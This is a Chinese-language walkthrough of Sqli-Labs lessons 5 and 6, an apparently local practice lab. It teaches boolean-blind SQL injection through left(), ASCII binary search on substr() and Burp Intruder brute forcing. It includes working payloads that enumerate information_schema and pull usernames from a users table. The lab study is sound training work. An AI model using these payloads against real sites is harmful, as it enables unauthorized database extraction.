Sqli-Labs less 5-6

时间:2022-06-11 03:06:53

less 5

 

前置基础知识:

1. left()函数: left(database(),1)=‘s’       left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0

   例如上例中就是先查询database()数据库,从左面看他第一个字母是否是s,如果是则返回1,错误则返回0;

2.regexp函数:select user() regexp ‘r’ user()的结果是root,regexp为匹配root的正则表达式

   例如上例中就是把查询到的user用户也就是root和r从左至右进行比较,相同是1,不同是0.

3. like函数: select user() like ‘ro%’ 匹配与regexp相似。

   与上个函数类似,唯一不同就是加一个%

4. substr(a,b,c) select substr() XXXX substr(a,b,c)从位置b开始,截取a字符串c位长度

   例如select substr((select database()),1,1)=‘s’; 匹配第一个字符是否是 s

5. ascii() 将某个字符串转化为ascii值

 

进入正题:

首先用?id=1试探:(这关依旧是在源码处加入了输出sql语句的代码)Sqli-Labs less 5-6

 

 

然后输入错误的?id=1‘观察:显示报错,所以一定存在注入漏洞。

Sqli-Labs less 5-6

 

 再输入:http://192.168.5.100/sqli-labs/Less-5/?id=1‘ and 1=2 --

Sqli-Labs less 5-6

 

 最后什么也没显示,通过上述的观察,已经可以确定这是布尔盲注类型。

同样,我们可以知道他的字段数:

Sqli-Labs less 5-6

 

 

 Sqli-Labs less 5-6

 

 

 

接下来有以下几种办法:

方法一:

利用left函数比较,比较正确则显示 you are in。。。错误则不显示

我们用的数据库和数据表一般都是字母,所以接下来,,就是猜,,,,

Sqli-Labs less 5-6

 

 

 

 

Sqli-Labs less 5-6

 

 

 这样就把数据库名 表 列都猜出来,但是效率很低

 

第二种方法:用ascii二分法来猜

http://192.168.5.100/sqli-labs/Less-5/?id=1‘ and  ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--

Sqli-Labs less 5-6

 

 

 此时不显示,说明小于100

Sqli-Labs less 5-6

 

 

 说明大于50

Sqli-Labs less 5-6

 

 最后得出数据库名的第一个字母的ascii值是99

之后可以用ascii表来转换,或者用sql函数来转换:Sqli-Labs less 5-6得到第一个字母就是c,以此类推得到数据库名

 

 

 

 其实我们看到后台的数据库可以查看:Sqli-Labs less 5-6

 

 

 之后得步骤和以前一样,只不过现在变成了用二分法一个个猜:

猜表:?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>数值--   再次通过二分法可猜解得到security下的所有表。

Sqli-Labs less 5-6

 

 

 

 

字段名:?id=1’ and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >数值 --   通过二分法可猜解users内的字段

Sqli-Labs less 5-6

 

 

 

 

字段值:?id=1’ and ascii(substr((select username from security.users limit 1,1),1,1))>数值-- 继续猜解即可得到字段内的值。

Sqli-Labs less 5-6

 

 以上就是通过ascii值进行一个个字母猜解得办法,每个只是举了一个例子,篇幅有限,就不都写了。

 

注意:在这个方法中,有一个坑:Less-5/?id=1‘ and  ascii(substr((select database()),1,1))>156--

有的人使用if办法进行判断,就必须要用到select database(),实际上这在cmd命令行上可以查到,但是在注入中并查不到,这是为什么呢?

因为我们使用sql命令行前提事use了一个数据库,而在注入中没有数据库的前提,就返回null值,所以一直都是有返回值的,所以用if的办法是不可以的。

Sqli-Labs less 5-6          Sqli-Labs less 5-6

 

 

 

 

 

 

 

第三种办法:使用burp抓包暴力破解(这种办法相对前两种方便的多)

首先,我们打开浏览器的代理功能;

 

Sqli-Labs less 5-6

 

 打开burp,并打开代理功能:

Sqli-Labs less 5-6

 

 

 假设我们不知道数据库的,我们猜测第一个字母是a:http://192.168.5.100/sqli-labs/Less-5/?id=1‘ and left((select database()),1)=‘a‘--  

输入之后,burp拿到包,我们把数据发送到爆破模块:

Sqli-Labs less 5-6

 

 

 然后在爆破模块,首先clear其他值,然后将a作为变量add一下:

Sqli-Labs less 5-6

 

 

 

然后选择类型为暴力破解,长度都是1:

Sqli-Labs less 5-6

 

 

 选择线程为50:

Sqli-Labs less 5-6

 

 

 开始破解:

Sqli-Labs less 5-6

 

我们可以发现,爆破之后的每个线程length基本相同,唯一的不一样的就是正确的,这样比用二分法猜测省很多

当然,也可以单词爆破,但是需要的字典比较大,线程比较多,费时比较长。

 

这就是对于布尔盲注的三种方法。

 

 

less-6

第六关和第五关基本一样,都是布尔盲注,方法完全相同!

Sqli-Labs less 5-6

 

 ascii值二分法注入流程相同:

1. http://127.0.0.1/sqli/Less-5/?id=1” and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100-- 通过二分法猜解得到所有的库

2. http://127.0.0.1/sqli/Less-5/?id=1”and ascii(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),1,1))>1-- 再次通过二分法可猜解得到security下的所有表。

3. http://127.0.0.1/sqli/Less-5/?id=1” and ascii(substr((select column_name from information_schema.columns where table_name=0x7573657273 limit 1,1),1,1)) >1 -- 通过二分法可猜解users内的字段。

4. http://127.0.0.1/sqli/Less-5/?id=1”and ascii(substr((select username from security.users limit 1,1),1,1))>1-- 继续猜解即可得到字段内的值。